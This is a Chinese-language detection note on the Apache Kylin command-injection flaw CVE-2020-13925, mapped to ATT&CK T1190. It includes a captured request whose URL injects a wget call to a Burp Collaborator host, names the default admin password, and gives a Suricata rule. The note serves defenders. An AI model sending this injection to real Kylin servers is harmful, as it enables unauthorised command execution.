T1190-CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞
来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
测试案例
Apache Kylin最早由eBay于2013创建并且开源,2015年成为Apache基金会的顶级项目。他是目前大数据领域应用非常广泛的开源分布式的分析型数据仓库,能够提供提供Hadoop/Spark之上的SQL查询接口及多维分析(OLAP)能力。近年来,大数据行业方兴未艾,Apache Kylin被国内外的很多大型互联网企业广泛应用,被业界称为大数据分析界的“神兽”。
Kylin 系统提供了一个前后端分离的 WEB UI,用户可以在上面管理项目、创建模型、分析数据等。系统提供了一组系统诊断接口,用于在发生故障时获取项目、任务、操作系统的诊断信息,方便调试。
漏洞在于其中两个接口没有对输入参数做安全检查,并且在后续使用过程中拼接到了一个字符串中作为系统命令执行。黑客可以通过构造恶意参数值调用该接口,实现远程执行任意系统命令,获得运行 Apache Kylin 系统的操作系统账号权限。
调用这个两个漏洞接口,需要有账号能够登陆 WEB 系统,但因为该 WEB 系统在安装完成后或部署 docker 容器后会有一个默认管理员账号 admin,并且会设置固定的默认密码 “KYLIN”,如果管理员没有特意修改,则黑客可以直接登陆并利用漏洞。也可能被通过其他方式得到账号或Session的黑客或内鬼利用获得更高权限。
检测日志
HTTP
测试复现
参考文章:https://www.freesion.com/article/96341401547/
测试留痕
GET /kylin/api/diag/project/%7c%7cwget%20qsm6epow3y6ajjhj4vi4mmkc339txi.burpcollaborator.net%7c%7c/download HTTP/1.1
Host: 10.16.45.164:7070
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.107.19:7070/kylin/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: project=%22learn_kylin%22; JSESSIONID=9AC41F447D7504D31753F5D099A4157D; a=1; PHPSESSID=lodt0vr5t8b8rknhihm5ih04s0; zbx_sessionid=f959c1b9463c060987da90c5f916633f; tab=0
Connection: close
检测规则/思路
Suricata规则
alert http any any -> any any (msg:"CVE-2020-13925-Apache Kylin 远程操作系统命令注入漏洞";flow:established,to_server;content:"GET";http_method;content:"/kylin/api/diag/project";pcre:"/download/";http_uri;reference:url,www.suphp.cn/anquanke/67/210867.html;classtype:web-application-attck;sid:3002021;rev:1;)
建议
流量+安全设备比较容易检测到此攻击行为。
流量研判,请结合状态码及返回内容进行研判。
参考推荐
MITRE-ATT&CK-T1190
https://attack.mitre.org/techniques/T1190/
Apache Kylin 远程命令执行漏洞(CVE-2020-13925)
http://www.suphp.cn/anquanke/67/210867.html
CVE-2020-13925漏洞复现